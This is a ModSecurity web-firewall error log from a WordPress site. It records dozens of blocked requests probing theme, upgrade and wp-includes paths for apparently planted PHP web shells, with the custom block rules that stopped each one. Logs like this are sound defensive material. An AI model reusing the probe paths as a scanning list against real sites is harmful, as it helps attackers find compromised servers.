[Sat Nov 15 06:17:45.512113 2025] [:error] [pid 27910:tid 27958] [client 85.203.21.232:48629] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/ryan/admin/main/inc/callbacks/sanitize_callback/select_faicons/lock.php"] [unique_id "aReqiY6e1LusHMYkS7ZfNQAAAFE"]
[Sat Nov 15 06:17:45.704034 2025] [:error] [pid 27909:tid 27929] [client 85.203.21.172:32437] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/siara-corporate-business/template-parts/header/styles/lock.php"] [unique_id "aReqiSTfZ6B57n8HepWYLwAAABA"]
[Sat Nov 15 06:17:45.903434 2025] [:error] [pid 27910:tid 27947] [client 85.203.21.160:20657] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/theme-check/new.php"] [unique_id "aReqiY6e1LusHMYkS7ZfOAAAAEY"]
[Sat Nov 15 06:17:46.107262 2025] [:error] [pid 37318:tid 37364] [client 85.203.21.184:42721] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/css/a.php"] [unique_id "aReqiugM1rHoEAqoQDc4ewAAAQI"]
[Sat Nov 15 06:17:46.304028 2025] [:error] [pid 27911:tid 27988] [client 85.203.21.228:42857] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/poisontalk.php"] [unique_id "aReqisGzUdrhGBIfiKTMZQAAAJQ"]
[Sat Nov 15 06:17:46.627864 2025] [:error] [pid 27909:tid 27926] [client 85.203.21.157:54163] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentythree/assets/about.php"] [unique_id "aReqiiTfZ6B57n8HepWYMQAAAA0"]
[Sat Nov 15 06:17:46.819661 2025] [:error] [pid 37318:tid 37377] [client 85.203.21.168:54795] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentythree/index.php"] [unique_id "aReqiugM1rHoEAqoQDc4fQAAAQ8"]
[Sat Nov 15 06:17:47.001607 2025] [:error] [pid 27911:tid 27971] [client 85.203.21.238:27527] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentytwo/assets/index.php"] [unique_id "aReqi8GzUdrhGBIfiKTMZwAAAIM"]
[Sat Nov 15 06:17:47.204324 2025] [:error] [pid 27911:tid 27987] [client 85.203.21.188:34449] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/acxx.php"] [unique_id "aReqi8GzUdrhGBIfiKTMaQAAAJM"]
[Sat Nov 15 06:17:47.412010 2025] [:error] [pid 27997:tid 28006] [client 85.203.21.226:57321] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/mlex.php"] [unique_id "aReqi9pja_6cDxKbxFknggAAAMc"]
[Sat Nov 15 06:17:47.589765 2025] [:error] [pid 27909:tid 27932] [client 85.203.21.228:35585] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/plex1.php"] [unique_id "aReqiyTfZ6B57n8HepWYNAAAABM"]
[Sat Nov 15 06:17:47.773409 2025] [:error] [pid 27910:tid 27954] [client 85.203.21.58:56159] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-contentar458/themes/ingenioso/front-page/index.php"] [unique_id "aReqi46e1LusHMYkS7ZfOgAAAE0"]
[Sat Nov 15 06:17:47.974099 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.162:29845] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-cron-backup.php"] [unique_id "aReqi-gM1rHoEAqoQDc4gQAAAQA"]
[Sat Nov 15 06:17:48.185460 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.192:29471] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-erros.php"] [unique_id "aReqjOgM1rHoEAqoQDc4hAAAAQw"]
[Sat Nov 15 06:17:48.372758 2025] [:error] [pid 37318:tid 37379] [client 85.203.21.161:33011] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aReqjOgM1rHoEAqoQDc4hQAAARE"]
[Sat Nov 15 06:17:48.584114 2025] [:error] [pid 37318:tid 37370] [client 85.203.21.183:24631] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aReqjOgM1rHoEAqoQDc4hwAAAQg"]
[Sat Nov 15 06:17:48.777457 2025] [:error] [pid 37318:tid 37365] [client 85.203.21.207:50197] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/about.php"] [unique_id "aReqjOgM1rHoEAqoQDc4iAAAAQM"]
[Sat Nov 15 06:17:50.085495 2025] [:error] [pid 37318:tid 37373] [client 85.203.21.159:59945] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/lock.php"] [unique_id "aReqjugM1rHoEAqoQDc4iwAAAQs"]
[Sat Nov 15 06:17:50.282478 2025] [:error] [pid 37318:tid 37362] [client 85.203.21.222:21251] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/library/SimplePie/Net/index.php"] [unique_id "aReqjugM1rHoEAqoQDc4jAAAAQA"]
[Sat Nov 15 06:17:50.497037 2025] [:error] [pid 27997:tid 28017] [client 85.203.21.156:58505] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aReqjtpja_6cDxKbxFknhQAAANI"]
[Sat Nov 15 06:17:50.721980 2025] [:error] [pid 37318:tid 37364] [client 85.203.21.208:60501] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aReqjugM1rHoEAqoQDc4jwAAAQI"]
[Sat Nov 15 06:17:50.904594 2025] [:error] [pid 37318:tid 37383] [client 85.203.21.222:47545] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/chosen.php"] [unique_id "aReqjugM1rHoEAqoQDc4kQAAARU"]
[Sat Nov 15 06:17:51.089415 2025] [:error] [pid 37318:tid 37382] [client 85.203.21.161:39405] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/connects.php"] [unique_id "aReqj-gM1rHoEAqoQDc4kgAAARQ"]
[Sat Nov 15 06:17:52.370636 2025] [:error] [pid 27910:tid 27961] [client 85.203.21.221:37383] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/v.php"] [unique_id "aReqkI6e1LusHMYkS7ZfQgAAAFQ"]
[Sat Nov 15 06:17:52.588901 2025] [:error] [pid 27997:tid 28000] [client 193.37.32.2:63871] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/chosen.php"] [unique_id "aReqkNpja_6cDxKbxFknjAAAAME"]
[Sat Nov 15 06:17:52.777599 2025] [:error] [pid 27997:tid 28019] [client 85.203.21.183:60999] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/code/"] [unique_id "aReqkNpja_6cDxKbxFknjQAAANQ"]
[Sat Nov 15 06:17:53.017698 2025] [:error] [pid 27997:tid 28005] [client 193.37.32.3:20389] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/column/index.php"] [unique_id "aReqkdpja_6cDxKbxFknjgAAAMY"]
[Sat Nov 15 06:17:53.195796 2025] [:error] [pid 27997:tid 28009] [client 85.203.21.237:62505] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comment-content/about.php"] [unique_id "aReqkdpja_6cDxKbxFknjwAAAMo"]
[Sat Nov 15 06:17:58.398703 2025] [:error] [pid 37318:tid 37374] [client 85.203.21.208:39853] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/file/index.php"] [unique_id "aReqlugM1rHoEAqoQDc4mAAAAQw"]
[Sat Nov 15 06:17:58.591612 2025] [:error] [pid 37318:tid 37363] [client 85.203.21.45:47095] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/group/index.php"] [unique_id "aReqlugM1rHoEAqoQDc4mgAAAQE"]
[Sat Nov 15 06:17:58.775754 2025] [:error] [pid 37318:tid 37370] [client 85.203.21.223:33321] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/latest-comments/template-loader.php"] [unique_id "aReqlugM1rHoEAqoQDc4mwAAAQg"]
[Sat Nov 15 06:17:58.980265 2025] [:error] [pid 37318:tid 37377] [client 85.203.21.186:50489] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/media-text-double.php"] [unique_id "aReqlugM1rHoEAqoQDc4nAAAAQ8"]
[Sat Nov 15 06:17:59.186222 2025] [:error] [pid 27997:tid 28020] [client 193.37.32.2:40219] [client 193.37.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/media-text/about.php"] [unique_id "aReql9pja_6cDxKbxFknmAAAANU"]
[Sat Nov 15 06:17:59.392375 2025] [:error] [pid 37318:tid 37381] [client 85.203.21.186:51287] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/missing/index.php"] [unique_id "aReql-gM1rHoEAqoQDc4oAAAARM"]
[Sat Nov 15 06:17:59.588926 2025] [:error] [pid 27911:tid 27978] [client 85.203.21.208:43967] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/page-list-item/"] [unique_id "aReql8GzUdrhGBIfiKTMcgAAAIo"]
[Sat Nov 15 06:17:59.806798 2025] [:error] [pid 27911:tid 27968] [client 85.203.21.164:20801] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-comments-form/index.php"] [unique_id "aReql8GzUdrhGBIfiKTMcwAAAIA"]
[Sat Nov 15 06:18:00.598658 2025] [:error] [pid 27909:tid 27933] [client 85.203.21.157:35477] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-excerpt/index.php"] [unique_id "aReqmCTfZ6B57n8HepWYPQAAABQ"]
[Sat Nov 15 06:18:00.805475 2025] [:error] [pid 27909:tid 27936] [client 85.203.21.210:21301] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-navigation-link/admin.php"] [unique_id "aReqmCTfZ6B57n8HepWYPgAAABc"]
[Sat Nov 15 06:18:00.991439 2025] [:error] [pid 27997:tid 28006] [client 85.203.21.190:50299] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/post-terms/"] [unique_id "aReqmNpja_6cDxKbxFknmgAAAMc"]
[Sat Nov 15 06:18:01.185904 2025] [:error] [pid 27910:tid 27958] [client 85.203.21.226:49677] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "aReqmY6e1LusHMYkS7ZfUAAAAFE"]
[Sat Nov 15 06:18:01.381517 2025] [:error] [pid 27911:tid 27976] [client 85.203.21.170:32335] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/query-pagination-previous/about.php"] [unique_id "aReqmcGzUdrhGBIfiKTMdQAAAIg"]
[Sat Nov 15 06:18:01.623066 2025] [:error] [pid 37318:tid 37367] [client 85.203.21.213:57005] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/shortcode/index.php"] [unique_id "aReqmegM1rHoEAqoQDc4owAAAQU"]
[Sat Nov 15 06:18:01.886629 2025] [:error] [pid 27910:tid 27942] [client 85.203.21.226:45213] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/site-logo/about.php"] [unique_id "aReqmY6e1LusHMYkS7ZfUgAAAEE"]
[Sat Nov 15 06:18:02.097262 2025] [:error] [pid 27910:tid 27961] [client 85.203.21.228:29355] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/site-tagline/"] [unique_id "aReqmo6e1LusHMYkS7ZfVAAAAFQ"]
[Sat Nov 15 06:18:02.385770 2025] [:error] [pid 27997:tid 28012] [client 85.203.21.238:22563] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/social-links/"] [unique_id "aReqmtpja_6cDxKbxFknnAAAAM0"]
[Sat Nov 15 06:18:02.683477 2025] [:error] [pid 27909:tid 27928] [client 85.203.21.170:58129] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/spacer/about.php"] [unique_id "aReqmiTfZ6B57n8HepWYQQAAAA8"]
[Sat Nov 15 06:18:02.899924 2025] [:error] [pid 27997:tid 28016] [client 85.203.21.207:36323] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/index.php"] [unique_id "aReqmtpja_6cDxKbxFknngAAANE"]
[Sat Nov 15 06:18:03.203702 2025] [:error] [pid 37318:tid 37370] [client 85.203.21.206:64887] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/tag-cloud/about.php"] [unique_id "aReqm-gM1rHoEAqoQDc4qAAAAQg"]
[Sat Nov 15 06:18:03.489117 2025] [:error] [pid 27909:tid 27927] [client 85.203.21.210:60973] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/verse/about.php"] [unique_id "aReqmyTfZ6B57n8HepWYQgAAAA4"]
[Sat Nov 15 06:18:03.820769 2025] [:error] [pid 27909:tid 27932] [client 85.203.21.172:60735] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/video/hexa.php"] [unique_id "aReqmyTfZ6B57n8HepWYRAAAABM"]
[Sat Nov 15 06:18:04.014911 2025] [:error] [pid 27911:tid 27991] [client 85.203.21.164:39595] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/plugin.php"] [unique_id "aReqnMGzUdrhGBIfiKTMeAAAAJc"]
[Sat Nov 15 06:18:04.305143 2025] [:error] [pid 27910:tid 27962] [client 85.203.21.204:64613] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-image-editor-gd-pic.php"] [unique_id "aReqnI6e1LusHMYkS7ZfVgAAAFU"]
